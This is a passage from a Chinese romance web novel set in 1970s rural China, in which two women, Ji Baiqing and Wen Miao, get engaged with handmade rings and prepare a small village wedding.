季白青:“……” 放得这么隐蔽,怎么被她看到的? 她淡定开口,仍旧不想就这么被迫将惊喜暴露:“你看错了。” 气得温淼下床揪季白青的耳朵,“我都看到了!” “就在新房,那时候放在桌上的,有戒指还有一束干了的花。” “你肯定是要送给我的,为什么现在还不给我?” 温淼幽幽看着她,心里憋着的话一不留神就全都说了出来。 季白青在听完她的话后,原本高高提起的心瞬间落了下来。 原来说的是那一对银色对戒!吓得她以为刚放好的求婚戒指就这么被她发现了。 不过难得见温淼着急的模样,在放下心后,季白青看了她一眼,笑眯眯道:“我怎么不知道我要送给你?” “我没有说过啊。” 温淼看着她含笑的眼,自然也知道她此时在调笑自己,心中恼意更甚。 “季白青!” 她叫对方全名,这回下手真是用了些劲儿,手下玉白的耳朵被拧得有些发红。 季白青弯起了眼睛,见好就收,连连求饶:“知错了好蓁蓁,好老婆,痛,快放开我。” 温淼收回了手,狐疑地看了眼她发红的耳垂。 明明都没用什么多大的劲,是她的皮肤太白太嫩了而已。 又是在装可怜。 看破青年的计谋之后,温淼哼了一声,将手心摊在她面前,言简意赅:“戒指。” 季白青将戒指找了出来,两枚简约的银色戒指被放在温淼的手心。 她轻声解释:“当时总觉得你每天都不太高兴,所以这是我亲自给你做的礼物,只是希望你能够高兴一些,把你叫到新屋也只是想要给你送花和戒指,没想到你一进门就要和我分手。” 睨她一眼,季白青将温淼那枚扣进温淼左手的中指上。 曾经她看过一则科普,戒指戴在左手中指上代表正在热恋,刚好符合此时的情况。 银白色的戒指衬着雪白纤细的手指,单单只是看着,就觉得分外赏心悦目。 温淼看了又看,喜欢得不得了。 但是季白青说的话到底还是让她心里有些不安,她不知道对方是不是心里还十分介意那天她说的话,细声道歉:“对不起……” 季白青伸出食指抵住她的唇,“不用说对不起,你不是真心的,我知道,只是以后别这样就好。” 温淼眨眼,点了点头。 季白青将手伸出,哄她转移注意力:“快给我戴上。” 等到温淼将季白青的那一枚戒指也戴在她的手上之后,季白青将两人的手放在一起,欣赏了一会儿,夸道: “真好看。” 不过现在来看,做的这一对戒指有些粗糙了,还是那对金戒更精致。 但看着温淼脸上的欣喜,她又觉得这戒指还是有那么点可取之处的,最起码能让温淼高兴。 迟来地发挥了它的作用。 温淼看了会儿戒指,又将视线挪到季白青高挺的鼻梁上,上面有一颗黑色的小痣。 她盯了好一会儿,但还是没见季白青有丝毫表示。 戒指都送了,她真的不说点其它的吗? 温淼丧气。 她忍着羞意开口提醒:“你还要说什么吗?” 总觉得这样一来,好像显得她很急不可待。 但实话实说,她确实是有些着急了。 想有个更为名正言顺的身份,想……结婚。 季白青被她这么一说,恍然大悟道:“有啊。” 温淼睁眼看她,浅色眸子里带了几分期待。 “我想说……你怎么还没睡觉?快去睡吧,下午还有课呢,不然没精神了。” 温淼:“……” 她现在想听的也不是这个啊! 在季白青的注视之下,温淼上床裹住薄毯背对着她,心里暗自生闷气。 还睡什么睡!气都被气醒了! 话是这么说,但终究还是平日生物钟占了上风,她没多久就困了,迷迷糊糊地睡着了。 季白青装模作样看了会儿书,实际上抵住唇憋笑憋得特别辛苦。 等到感觉温淼睡着了之后,她才去床边看她眉心浅蹙的脸。 真是笨,把不高兴都带到梦里去了。 将她蹙起的眉抚平,季白青俯身轻吻。 刮了刮她的鼻尖,她低声道:“怎么就这么急呢?再等几天。” 温淼话里的暗示都这么明显,季白青要是真的都听不懂的话,那她就是个傻子。 只是真要谈结婚的事,哪能这么仓促,仪式感肯定是要有一些。 所以便只能暂时先逗逗女朋友了。 看了看手上的那枚银戒,她开始想着到时候收到金色花戒温淼会是什么表情了。 大概会很高兴吧? 只是现在得委屈她那么一下。 季白青想的是,温淼喜欢花。 花肯定是要准备一束的,只是现在正值十月,她最喜欢的蔷薇花已经不开了,院子里种下的各种花都凋谢得只剩下绿油油的叶子,只有菊花冒出了花苞。 桂花虽然开得好,但用来送人总觉得不合适,反正季白青自觉没有那个插花手艺。 真用那个,知道的是求婚,不知道的还以为她是要捡回去做吃食。 放在二十一世纪,花店里各种季节的花都不缺,只要有钱,买一束花轻而易举,但这放在七十年代就有些难,毕竟又没有多少人会专门种花,种了没钱。 她跟个混混似的到处跑,跑了十几二十个村总算是让她找到了合适的花。 是波斯菊,大朵的小朵的花朵盛放,高矮错落,开满了一整个小山坡,还有不少颜色可以供人挑选。 季白青满身都是汗,见到了这一处可算是放松下来。 她将地址记了下来,打算当天来把花给摘了包成一束。 明天刚好周六,温淼没课,为了避免夜长梦多,季白青决定明天就来把花给剪了。 第二天,她骑着车到山坡前,见花还好端端地立在那,瞬间松了一口气。 用剪刀将开得漂亮的波斯菊都剪了下来,合成一簇,橘黄色、粉色、蓝色……各色的波斯菊颜色漂亮,混合在一起,哪怕没怎么用细节摆弄也格外明艳好看。 但季白青还是十分严谨地根据自己的审美将不同的花挪了挪位置,再用绸带将花捆好,系成一个漂亮的蝴蝶结。 这一处离云水村有一定的距离,季白青骑回去费了不少时间,弄得有些狼狈。 她去新房对着镜子看了一会儿后,决定还是先换身衣服打扮打扮再去。 得重视起来才行。 换了身裙子,又对着镜子弄了个精致的头发,季白青还有些不满意,翻了翻桌子的抽屉,最后找了根粉色的口红,涂上口红后气色好了不少。 这还是她特意托陆霁帮她买的口红,每个合适的颜色都挑了一根,打算送给温淼的,昨天才拿到。 她虽然没给自己买,但是可以蹭老婆的! 将口红点在脸颊上耐心晕开,添了几分气色后,她看着镜子里的人,还算是有几分满意。 就这样挺好的。 她待会儿要去后山的草坪处,早在之前温淼说愿意和她成为朋友的时候就带她来过一次,所以这地方对她的意义也很特殊,这次求婚的地点选在那最合适了。 这样想着,季白青抿唇一笑。 她没有直接去叫温淼,总要有些惊喜感,在快到后山的时候撞见孙大娘,她眼睛一亮,对孙大娘道:“大娘,你待会儿回去的时候能不能帮我叫淼淼来后山的草坪这儿一趟?” 孙大娘闻言,干脆点头。 “行,待会儿我就回去了,给你带话。” 见她应了下来,季白青安心,孙大娘办事还是很靠谱的。 孙大娘刚从山上下来,手里拐着的篮子里放了几个大的柑橘,准备带回去给小孙女吃。 正在回去的路上呢,王二妮突然跑了过来,对孙大娘道:“大娘,你家小孙女跑到河边要下水洗澡,你快去劝劝。” 闻言,孙大娘手上的篮子都快被吓倒了。 她稳住身体,对王二妮道:“二妮,白青她让给温淼带个话,让她去后山草坪那一块,她很着急,你快点的。” 说完,孙大娘一溜烟跑了。 王二妮闻言,站原地站了一会儿后也着急地拔腿就往季家跑。 到门口,她大声道:“温知青,温知青你在家吗?” 温淼闻言走到了院子里,问:“怎么了?” 王二妮的语气焦急:“白青说她在后山草坪哪里等你,很着急,不知道是不是受伤了。” 闻言,温淼的心一慌。 受伤了?! 到底是伤到了什么地步才让要强的季白青只能坚持走到山脚,回家的力气都没了? 她连外套都没来得及穿,神思不属地往后山跑。 等到草坪的时候,看到好端端地站着的季白青,她跑过去,一下抱住了季白青的腰。 季白青没想到她来得这么快,更没想到她会突然抱住自己。 身体往后踉跄几步,手里的花也没拿稳,落在了柔软的草皮上。 温淼抬起头,语气担忧询问:“阿青,你没事吧?我听二妮说你受伤了,伤在哪了?” 季白青:“?” 什么二妮,不是孙大娘吗?她还莫名其妙被受伤了。 她一时间还没搞清楚其中的逻辑,下意识回道:“没有受伤,怎么了?” 温淼闻言,松下一口气,将抱住她的手放开,有些疑惑开口道:“我也不知道,刚才王二妮突然说你可能受伤了,吓到我了。” 这时候她才慢半拍地看到了掉在地上的波斯菊花束。 季白青蹲下身,将花捡起来。 地上散落了几片花瓣,但是花束还是很漂亮,斑斓明艳。 她将花递给温淼,柔声道:“这是送给你的。” 温淼眨了眨眼,抱住花的时候还有些茫然,怎么突然要给她送花,还表现得很正经,她连心跳都漏了半拍。 季白青见她这呆样,眼中笑意加深,将口袋里的盒子拿出来,打开。 日光照在金色的戒指上,反射出来的光都是金色。 两枚精致的戒指摆在面前,温淼一愣,心跳突然间加速,抱着花的手也不自觉收紧了一些。 季白青弯着眼睛,轻声询问:“我有个问题可能需要你回答。” 温淼愣愣点头。 “请问温淼同志愿意让我嫁给你,给我一个名分吗?” 这话说出后,温淼久久没有回复。 看着她眸中凝聚起的水雾,季白青没有心急,耐心地等着她的回复。 对这件事,她有足够的底气,知道温淼不会拒绝。 只是她没想到的是,比答应的话更早出现的她掉下的泪。 将随身携带的手帕掏了出来,给她按去眼角的泪,季白青柔声问:“怎么了?觉得太早了吗?” 也对,温淼现在也就二十四岁不到,或许还不想结婚呢? 醉酒的话也不一定就是心里话。 季白青有些懊恼,暗自责怪自己好像太过心急。 这话说完后,温淼摇了摇头,湿润着眼将自己的手伸出来,回道:“给我戴戒指,我愿意的。” 她抬起湿漉漉的睫毛看着季白青,坚定道:“我愿意的,要娶你。” 季白青将属于温淼的那枚戒指给她戴上去,又看温淼将她的那一枚给自己带上,唇角翘起。 她问:“那你哭什么?太感动了?” 温淼避而不谈,只是瞪她一眼:“你讨厌。” 季白青无辜地眨了眨眼,不解地询问:“我怎么又讨厌了?” 温淼将她上下都打量了一眼,季白青穿着米白色的长裙,外面套了一件温柔的羊毛开衫,头发编起一部分,剩下的一部分落在肩头,风一吹,就连发丝扬起的弧度都是美的。 而温淼自己只穿了件灰扑扑的衣服,甚至过来的时候还因为太着急,脸上冒出细汗,碎发狼狈沾在额角。 她们比起来差距也太大了。 温淼埋怨道:“你自己打扮得漂漂亮亮的,都没告诉我,我现在一点也不好看。” 季白青这才认真看向她,女人一身深色,灰色的上衣和黑裤,头发低低挽起,落了一两簇掉在肩头,显得慵懒又随意,一双桃花眼明媚,唇瓣红润,明明很好看。 季白青看得根本就挪不开眼。 她知不知道自己在顶着这张漂亮的脸蛋说些什么? 季白青无奈:“我真想现在就变成一面镜子,照照镜子,这样你就知道你现在有多好看了。” 她低头吻在温淼的鼻尖上,声音和缓:“鼻梁很挺。” “眼睛很漂亮。” “泪痣很漂亮。” “耳朵很秀气。” “脸型很漂亮。” 最后一个吻落在她的唇上,一触即分。 她说:“唇很漂亮,也……很好亲。” “哪里不好看了?” 听她这么说,温淼面上泛着粉,又平白多添了几丝风情。 她有些不好意思:“你都是哄我开心的。” 哪有季白青说的那么好? 明明就是很平常的打扮,现在看起来大概是狼狈的。 季白青装模作样叹出一口气:“现在这年头哄老婆真难,就连说真话都要被质疑真实性。” 温淼明明知道她是装出来的,但还是没忍住出言安慰:“我……我只是有些担心,不是说你骗我的意思。” “是吗?快看看戒指和花喜不喜欢?”季白青捏了捏她细瘦的指骨。 温淼看着手指上的戒指,这才发现,原来上面的花是蔷薇花。 她眼睛微热,点头。 “很喜欢。” 她怕季白青不相信,还特意强调了一遍。 “真的很喜欢。” 季白青笑着看她:“喜欢就好,对了,这可是我的亲手做的,有没有觉得你更喜欢了?” 温淼一怔,原本还以为这戒指是季白青跑了很多地方买的,没想过这竟然还是她亲手做的。 心热得不像话,她原本对戒指的喜欢在这时候更是满了出来。 她没有说话,一手抱着花,一手拉着季白青往回去的方向走。 季白青被她突如其来的动作弄得有些懵,她有些疑惑地询问:“就回家了吗?” 温淼言简意赅:“换衣服,去领证。” “……”季白青一时间都不知道该回答什么。 一直到了家里,看温淼开始挑衣服,她才无奈道:“蓁蓁,你先停一会儿。” 温淼看她,语气带着谴责:“你不想和我领证了吗?” 季白青拍了拍身边的凳子,“过来坐。” 女人在原地站了一会儿,才过去挨着季白青坐下。 “不是不想要和你现在去领证。” 她提醒:“今天是周六。” 周六婚姻登记处又不上班,季白青如果现在不说,待会儿两人到了地方没开门就白跑了。 温淼抿着唇,有些懊恼。 她没有想到这一点,就急冲冲的要去了。 “而且还得向村里提交申请。”季白青补充。 见温淼冷静下来几分,季白青温和地和她商量:“其实我想的是办了婚礼再去领证,你觉得呢?” 先去领证的话,总觉得有些不正式。 所以季白青还是更倾向先办酒再去领证,现在是十月份,气候不冷不热,这个时候办婚礼正好,两人都能够穿得漂漂亮亮的。 闻言,温淼有些纠结:“还要办婚礼吗?会不会花很多钱?” 季白青皱起眉:“钱不是问题,赚钱就是为了给你和家人花,不然我也不会去赚。” 她平日的物欲并不算太高。 “你现在应该想的是到时候要穿什么颜色的衣服、化什么样的妆,还有挑选什么款式的配饰。” 她有些不爽,不喜欢温淼在做某一件事的时候第一时间想到的是心疼钱。 明明更多东西比钱重要。 她和温淼算账:“你想想,我这段时间赚的钱没有给你,但是都放在你放钱的匣子里了,拿出来好好数数到底有多少。” 说着,她打开箱子,将装着钱的木匣子拿出来。 温淼很久没去注意过这个钱匣子,此时看着匣子被打开,露出里面一沓一沓的钱,心里也有些震惊。 年初的时候有这么多吗?她有些恍惚地想。 季白青将大团结往这里面拿出,当着温淼的面将钱点清楚。 “不算你之前放进来的钱,这里一共是两千,娘和爹分的钱我都给她们了。” 温淼的存折上的钱还没有动过,她平日也不怎么花钱,不知道从什么时候开始,花销都是从季白青这边出了。 季白青又拿了个大盒子出来,将里面的零散的纸币拿了出来,这些都是一块钱和以上的金额。 数下来一起也有八百。 “我自己身上也留了一千。” 和温淼对视一会儿,季白青将两千多的木匣子放在她手心。 “所以,老婆,能别心疼那点钱了吗?” 虽然知道温淼是心疼自己赚钱不容易,但一想到当大小姐当习惯的人会在意这些,季白青还是觉得有些心梗。 温淼见她板着一张脸,也知道自己的话让她不高兴了,便凑了过去,讨好地亲亲她的脸颊。 她语气甜软,向她撒娇:“我错了,那我们先看看选个什么日子好不好?” 季白青转过身,面无表情点了点另一边脸颊:“还有这里。” 温淼没忍住笑出了声,听话地在另外一边脸颊亲了一口。 季白青盯她,也哼了一声。 “笑什么笑。” 温淼捂住她的嘴,“才没笑,你听错了。” 在晚上吃饭的时候,所有人都发现了季白青和温淼手上金灿灿的戒指。 温向荣看了一会儿,总算是满意下来。 “什么时候结婚?” 此话一出,所有人的目光都看向了季白青和温淼。 温淼答:“我和阿青打算选选日子。” 何香月连饭都不吃了,立马去翻了翻黄历,笑呵呵地开口:“我看说十二号和十八号都宜嫁娶,这两天怎么样?” 季白青和温淼对视一眼,都有些无奈。 不只是她们急,长辈其实也着急。 温淼小声问:“十二号怎么样?” 季白青看着她轻轻摇头,现在都已经九号了,两天的时间来准备未免也太仓促了,那样不太行,季白青想要最好的。 她轻声问:“十八号行吗?来得及一点。” 温淼想了想,只好点头。 虽然她想要快一点,但结婚这事确实是快不来的。 准备时间太少的话,明显也不行。 只能再晚一点了。 晚上回到房间,季白青还拿着这件事笑温淼。 她悠悠道:“看来我们温淼真是迫不及待要和我结婚了。” 温淼扑过去,张嘴咬她脸颊肉。 这人偶尔就是很坏心眼。 跨坐在她的细腰上,温淼哼哼一声,坦然承认:“就是很着急,想要和你成为名正言顺的妻妻,难道你不想吗?” 对上那双澄澈的眼,季白青说不出什么违心的话,轻轻点头。 “当然期待了。” 期待得不行,想了那么久的事,要变成现实。 换成谁谁能够不期待。 温淼闻言,低头和她接吻。 挂在脖子上的细链随着动作晃出领口,挂着的戒指贴在季白青的脖子上,还带着属于温淼的体温。 季白青不太满足她猫舔舐似的吻法,按着她的后脑勺,亲吻得更加深|入。 温淼抵在两边的手很快软了下来,晕晕乎乎地和她接吻。 平日两人晚上亲昵时,季白青更习惯用左手,只是今天才将手指抵在唇瓣处,指尖沾到了晶莹,却突然想起来,左手上还戴了戒指。 今天还是第一天戴上戒指,她怕摘了寓意不好,便只能换一只手。 右手她动得不太习惯,动作生疏。 温淼缠着要和她接吻,唇齿交缠间忍不住发出小动物似的嘤咛。 季白青只能吻她,动作也慢下来。 但这样某人又不太满意,娇滴滴地求她快一些。 季白青算是明白了,无论怎么来温淼都有满腹撒娇的话要说。 她还是不听最好。 持续的时间绵长,也不知道什么时候,温淼疲惫地睡着了,季白青扌由出手,帮她清理一番,开始收拾床上的狼藉。 好不容易躺上床,季白青将人抱住,准备睡觉。 却听见了温淼轻喃的梦呓:“愿意的……” 季白青忍俊不禁,怎么梦里都在想着。 【作者有话说】 想说的话如字数 感觉一直ddl一直爽,谁来救我拖延症 感谢投雷营养液,感谢评论订阅收藏[三花猫头] 109 第109章 ◎“回来。”◎ 第二天是周日,季白青*还需要去食品站杀猪,虽然她的副业一直在变,干一会儿歇一会儿,但是主业的活不多,每个月三十多块钱的工资,一周也就上两天的班,还有着各种年节员工福利。 无论是与同事王宝珠还是上级夏寒梅之间的相处都特别好,她甚至觉得可以干到去上大学前。 早上起床时,季白青刚坐在床边穿鞋,温淼听见了季白青发出的轻微声响也醒了过来。 她的腰现在还在泛酸,睡衣的宽大领口下,全都是遮掩不住的密密麻麻的绯色吻痕,就连白皙手腕腕骨上面都带上了红痕。 别提更为酸软的大腿内侧,不用看都能够猜到会是什么样的风景。 每次都这样,身上能被遮掩的地方被弄得满是痕迹。 季白青对她的占有欲极强,在亲昵之事里,总喜欢在温淼的身上留下各种属于她的痕迹。 以前更过分,几次都留在可以被人看见的位置,被温淼掐着腰教训了几次才改了。 温淼还隐约记得昨晚,她翻过身去时,季白青的吻落在自己后背上的灼热温度。 不过……其实每次这种时候,温淼也都会在季白青的后背或者胸前留下抓痕、咬痕。 她们这样有些像是双向标记,都想让对方身上带着自己的印记,或是情难自禁,或是有意为之。 两人皮肤都白都嫩,轻易能够留下印子,干脆就谁也别怪谁。 就比如现在,季白青弯起袖子的手臂内侧就带了吻痕,昨天温淼嘬咬出来的。 脸上粉意浮现,她轻咬着唇瓣,手指蜷缩,揪住了准备起床的季白青的衣角。 “阿青。”她声音还带了点干涩。 季白青侧过头去,眼睫一动,眸中浮光跃动。 “嗯?”她有些疑惑。 “口渴了吗?给你倒杯水。” 说着,她捏了捏温淼的手指,随后放开,拿过床头的搪瓷杯,大步出门打了水后再度回到卧室。 温淼被喂着喝了几口水后,嗓子的干涩缓解了不少。 她抱住季白青,声音软软:“阿青,早上我和你一起去食品站。” 季白青给她揉着腰,女人的腰一向有些敏感,即使只是正常的力度,也会让她觉得有些痒,不自觉地想要往后躲。 “今天不用去上课,不想留在家里多休息一会儿吗?”她问。 温淼被她揉得声音里的笑意都散不下来,她摇了摇头,“身体不是很难受,我想陪你。” 季白青看着她琥珀色的眼,杏眼弯起,轻轻点头。 她昨天也确实没有做过火,从一开始到最后的经验,也只是动作熟练了许多,但总体节奏还是慢的,没有伤到,也没有过度,所以温淼今天跟着去也没多大问题。 现在时间还早,将温淼要穿的衣服找了出来,季白青去做早饭。 下了一把挂面,加上翠绿的青菜和鸡蛋,出锅后热气腾腾,香气扑鼻,味道也很不错。 两人吃完早饭后,就骑着车往食品站赶。 到了仓库,季白青给温淼找了个角落让她坐着,她和王宝珠开始今天上午的工作。 杀完了猪后,一起将肉推到前面售卖。 王宝珠注意到季白青今天一直都没落下的唇角,等着买猪肉的人全都散去后,她有些好奇地打听: “最近发生了什么好事吗?看你今天一上午的心情都不错。” 倒也不是说平日里季白青板着脸,其实她还是挺有职业道德的,每次上班的时间都会带着职业浅笑,只是仍旧让人觉得有几分距离,毕竟不是出自内心。 而今天的笑意却像是发自内心的,而不是为了应付工作装出来的。 季白青闻言一愣,下意识摸了摸唇角,抿着唇这才勉强将唇按平。 她有些不好意思,看着王宝珠的时候意外带了些少女的羞赧。 她问:“宝珠姐,真的有那么明显吗?” 王宝珠点头。 季白青刚想回答,很快面前又再次排起了长队。 两人不再说话,专心地开始卖猪肉。 等到猪肉被卖完后,季白青才回答王宝珠。 “宝珠姐,确实有挺高兴的事,我和淼淼准备结婚了。” 闻言,王宝珠的双眼微微瞪大,惊讶道:“真的啊?” “不过你俩在一起的时间也挺久了,确实也应该准备结婚了,姐看你们俩就非对方不可了。” 在王宝珠看来,虽然不少人觉得两个女人在一起没有未来,但是她却不这么认为,只要互相喜欢,无论是什么性别都能走到一起去。 温淼和季白青的感情可以说是她看着一路走过来的,每次见到她们并肩走在一起的时候,王宝珠都要惊叹于两人的般配。 更何况,平日里季白青和温淼对对方各种亲昵的动作和下意识都关心都是在日积月累之中养成的习惯。 都已经到这个地步了,简简单单地去说爱好像都少了几分情感上的厚重。 现在结婚,倒是正正好。 季白青唇角上扬,对王宝珠说:“宝珠姐,我们十八号结婚,到时候请你去喝喜酒。” 十八号刚好是周一,两人都没有活。 王宝珠欣然点头:“行啊,姐一定去,带着我家闺女去沾沾喜气。” 两人说话间将推车推到了仓库,季白青洗了把手,闻闻手上的腥味散去后就去把坐在小板凳上有些昏昏欲睡的温淼牵起来。 她温柔道:“蓁蓁,我干完活了,现在可以走了。” 温淼清醒几分,被拉着站了起来。 与王宝珠擦身而过的时候还顺带同她打了个招呼。 出来也没什么事,等着季白青卖完猪肉就回去了。 季白青和温淼没想着结婚的事太多麻烦家里人,一是每个人都有自己的活儿要干,另外抽出一段时间来的话,可能会让她们休息不好。 二则是,无论是谁动手,都有可能不契合未来妻妻俩的心意,她们想要将婚礼怎么弄还是自己来决定最好,将最基本的东西定下,有需要帮助的时候再同何香月她们说。 酒席是要办的,季白青和温淼合计一下,只打算办个小酒席。 虽然别人结婚会让一整个村的过去,但是她们俩却没打算邀请整个村的人。 或者换句话来说,大半个村的人都不配被邀请。 毕竟在季家和温淼受到温向荣影响的时候,不少人说话都那样难听,背地里的打压,明面上的欺负都不少。 她们所说的那些话和所做的那些事季白青一直都记在心里。 她承认,她还是挺记仇的。 将要邀请的人的名单拟了一份,季白青打算再去问问何香月和温向荣她们还有不有想要另外邀请的人,看看有没有缺漏。 名单定好之后,她们开始纠结结婚那天的打扮。 十月天气温凉,并不算太冷,偶尔出个太阳,暖洋洋地照在人的身上的时候,连薄外套都不需要穿,穿个长袖也不冷。 季节温柔,风也温柔,没有春天那么潮湿,也没有夏天那么炎热。 十月,很适合结婚。季白青如是想到。 在办酒之前还得将那天要穿的衣服准备好。 想到这,季白青让温淼想将想到的需要的东西写下来,她出了趟家门,往新屋那边走,将抽屉里装着口红的木盒取了出来。 里面放着不同牌子不同颜色的十几支口红,季白青专门让陆霁挑的日常颜色。 虽然以温淼的长相涂什么颜色都不会难看到哪去,但季白青觉得还是没有必要花钱买那些不适合东西,老婆漂漂亮亮的就行,丑东西还是离得远点。 将口红拿到房间里去的时候,温淼正在用笔抵着下巴,真正垂眸认真地思考到底还有些什么东西是需要写下来的。 季白青悄悄在她身后站定,在她沉思时突然间手放在她的肩膀上。 温淼被吓得身体一颤,微微转身才发现是季白青。 她微微瞪向她:“吓我干什么?” 季白青也没想到她反应这么大,细想她确实不该这样吓人,便老老实实道歉:“对不起,我只是想要看看你在写什么来着。” 温淼举起手上的本子,给她看,嘴上念叨:“要买糖、饼干,还要瓜子,那天做什么菜也需要提前安排好,可我都不知道溪宁镇这边结婚都是做些什么菜。” 说完后,她才想起来问季白青刚才去哪了。 季白青背后的东西拿出来,放在温淼的面前。 “去新屋那边拿了个东西,打开看看喜欢吗?” 什么东西这么神秘?温淼有些奇怪。 总不能又是一对戒指吧,如果真是的话,那她一只手都不够戴的。 只是拿起盒子的重量却又觉得有些不对,好像要重上许多。 将盒子打开后,看到里面的东西,温淼的眼睛微微圆睁。 里面装的慢慢当当的小罐子和管状物,带着点淡香味,有些她也有,不过在京市没带过来,是口红。 季白青从中将兜里单独放着的那一罐拿了出来,解释:“昨天准备求婚的时候我用了这一罐。” 温淼睨了她一眼,自然知道昨天她有多好看。 微微仰起头,她道:“给我擦。” 红唇微微撅起,等着季白青为她抹上口红,模样可爱又娇俏。 季白青在盒子里挑挑选选,问:“要哪个颜色?” 温淼觉得她有点呆,自然没有看向盒子里,只是注视着季白青手里的那一罐口红:“要擦你擦过的。” 季白青没想到她是这个回答,一愣,弯唇笑了起来。 “好吧,原本以为你会嫌弃的。” 温淼皱起眉,不满地看向她,指责道:“你又在胡乱给我安罪名了。” 她什么时候说过这种话?两人亲密的事都不知道发生过多少次了,用同一罐口红又不是很出格的事儿。 季白青认错:“是我错了,忘记了蓁蓁都和我接过那么多次吻了,肯定不会嫌弃我才对。” 说着,她将淡粉色的口红在她的唇面上抹开。 口红的颜色接近桃花粉,涂上之后,晕开,虽然少了些明艳,但看起来却是格外娇俏。 很适合温淼。 温淼抿唇尝到了一点甜味,歪头问季白青:“你想知道这个口红是什么味道的吗?” 话里的试探与勾缠都漫出来了。 季白青发现,温淼现在真的很擅长用言语来撩拨她。 她擦过的口红怎么可能会不知道是什么味道。 所以她直接用行动回答了温淼的话。 这是一个缱绻又绵柔的吻,口红特有的花香气息在两人的唇齿间散漫开,舌尖都勾缠在一起,两人不同的气息混合起来。 季白青的手拂过温淼的脊背,按在脊骨上,每往下挪一寸,温淼的身体便软下一分。 到最后几乎是整个人都软倒在季白青的怀里的状态,温淼的眼皮垂下,睫毛有些无力地耷着,手抵在季白青的胸口,没多少力气地推拒着。 自然是没有任何效果。 最后还是季白青吸着舌尖吃够后才将她放开,看着女人的手无力地搭在自己的臂弯间喘息,连带着艳粉色的舌尖都还没能收回去。 季白青也有些闷,脸颊粉白,只不过被她主导的吻,她没对方显得那么吃力。 低头揉了揉温淼的脸颊,季白青悠然道:“尝出味道来了,是玫瑰味的。” 她停了一会儿,等着温淼缓过来几分后才再次开口:“不过,我还是更喜欢蔷薇花的味道。” 温淼自然能够听出来季白青的意思,咬着没有口红仍旧红润的唇瓣,瞪她,小声道:“你想都别想!” 季白青盯着她,“真的不能吗?” 温淼捂她眼睛,再次强调:“不可以!” 好吧,季白青将人的手扒拉下来,又将一盒的口红都收拾好,继续和温淼写单子。 将需要买的东西都整理好,最后又去找何香月照抄了个菜单,大概的安排就差不多完成了。 买的东西多,大多数也都是季白青和温淼去买的,毕竟家里只有一辆自行车。 两人虽然都是女同志,但是季白青的力气大,大部分的顾虑都不存在。 买了喜糖和饼干瓜子回来之后,她们按照邀请的人数将喜糖分装。 其实村里结婚都没这么郑重,大部分是让村里人和亲戚朋友一起吃一顿饭就差不多了,但是这是季白青和温淼第一次也是唯一一次结婚,她们都想要重视一点。 衣服最后倒是没有让她们选。 自从温向荣的死讯传到京市之后,温知意和温皎皎就不再受人监视,也恢复了与季白青和温淼之间正常的有书信来往。 所以在得知季白青和温淼要结婚的消息之后,温知意和温皎皎特意去找裁缝根据两人的想要的款式和她们的体型定制了两身衣服。 寄的包裹在婚期前及时送到了。 不过季白青和温淼都互不知道对方的衣服到底是什么样的。 季白青原本是想看的,也愿意给自己的给温淼看,但是温淼却将婚服藏起来不肯给她看。 按照她的说法是必须得留点惊喜感在结婚那天才对。 季白青想了想,觉得也是,便没有多说什么,藏好了内心的好奇。 关于婚礼,她们两家人一起商量了一番,婚礼那天,温淼先在季家住着,到时间后季白青来季家把温淼接到新屋那边去。 酒席也在新屋的院子里摆,院子大,邀请来的人刚好凑个三桌,能够摆下。 何香月找不少人都借了红布,又在温如嫣的指导之下和温向荣一起剪了红色的窗花贴上。 屋里屋外都喜庆。 她恨不得将屋后那一片竹林都刷成红色的。 婚礼如期进行,随着时间的推进,季白青却觉得心里越来越紧张,虽然知道什么都准备好了,不会再出现什么差错,但是她还是紧张,还是担心有意外。 焦虑得整宿整宿地睡不着觉,脸色也随之憔悴下来。 每次见她这副模样,温淼都有些怀疑这人其实就是不想要和自己结婚。 她是不是只想和自己谈恋爱? 不然哪里有人会因为结婚怕成这样的? 听了温淼的说法后,季白青有些委屈。 “蓁蓁,冤枉啊……” “我只是单纯地觉得很紧张而已。你说奶奶会不会到了当天突然就不给我们结婚了,如果她不放心我们两个在一起该怎么办?可我已经做到最好了。还有姑姑,她最近老奇怪地看我,是不是对我哪里有不满意的?以前她不是还挺喜欢我的吗?” 温淼:“……” 这家伙一天天的都在想些什么东西。 “奶奶天天催我们结婚,怎么可能不让我们在一起。还有姑姑看你是觉得你脸色不好,想给你开点药,但你不是不愿意吃?” 听她这么说,季白青一瞬间蔫了下来。 她清醒几分:“好吧——我脸色真的很差吗?其实我还有一个问题,如果我没以前好看了,你还会爱我吗?” 温淼面无表情地将垮着一张小狗脸的季白青推开,语气冷漠又残忍,像个不折不扣的冷漠坏女人。 “不好看就不喜欢了。” 季白青眼泪汪汪,差点哭出来。 温淼屈指敲她脑袋,语气无奈:“阿青,你一天天脑子里都在想着什么呢?” 哪有人快要结婚的时候,原本聪明冷静的脑袋瓜子会像是突然宕机一般呢? 一下能说出来那么多让人难以理解的傻话。 明明早就有了答案,她都清楚得很,结果现在还在问。 至少温淼不太理解,虽然她也有些紧张,但是还没到季白青这种程度。 她的心情与其说是紧张,更不如说是期待。 季白青给她回答:“在想你,脑子里都是你。” 想着两人结婚的事,都空不出空间来装其它的了。 闻言,温淼还是心软了下来。 将人抱住,任由她将脸埋在自己柔软的胸前。 她温声将刚才的话再回复一遍:“就算你没以前好看了我也还喜欢你,不过都快结婚了,你确定不好好休息让自己到时候能够精神点?” 季白青抬眸看着面前的温淼。 皮肤莹润、白皙胜雪,面上看不出任何疲色,眼睛也明亮粲然,盛满一室星光。 妥妥的风情万种明艳大美人。 她侧过头去远远看着镜子里的自己。 因为没休息好,皮肤苍白,眼下带着淡淡青黑,唇色也泛白。 她呜咽一声,再度将头埋回去,不愿意再看。 “我以前不长这样,以前还是好看的。”她弱弱开口解释,试图挽回形象。 温淼揉她柔顺的黑发,温声哄:“嗯,我知道,其实现在也不难看的,只是看起来脸色很不好。” “我不是觉得不好看,只是会担心。” 她有些疑惑地询问季白青:“所以应该怎么样才能不那么紧张?” 季白青口出狂言:“累了就好。” 怕温淼误会到正经事上,她解释:“就是晚上,睡前运动一下,没准就能睡着呢?” 温淼盯着她,咬牙切齿拒绝:“不要。” 前段时间也不是不给她来,毕竟这种事温淼自己也很舒服,虽然事后会有着些许不适,但是还是可以接受的。 只是这人慢慢越来越过分。 口欲期完全没有过去,喜欢咬她,每次弄得她连换上内衣后都会觉得疼。 几次之后,温淼不愿意再纵着她。 棉棉现在都不喝奶了,大口吃猫饭,只有她还这样。 比不过一只小猫。 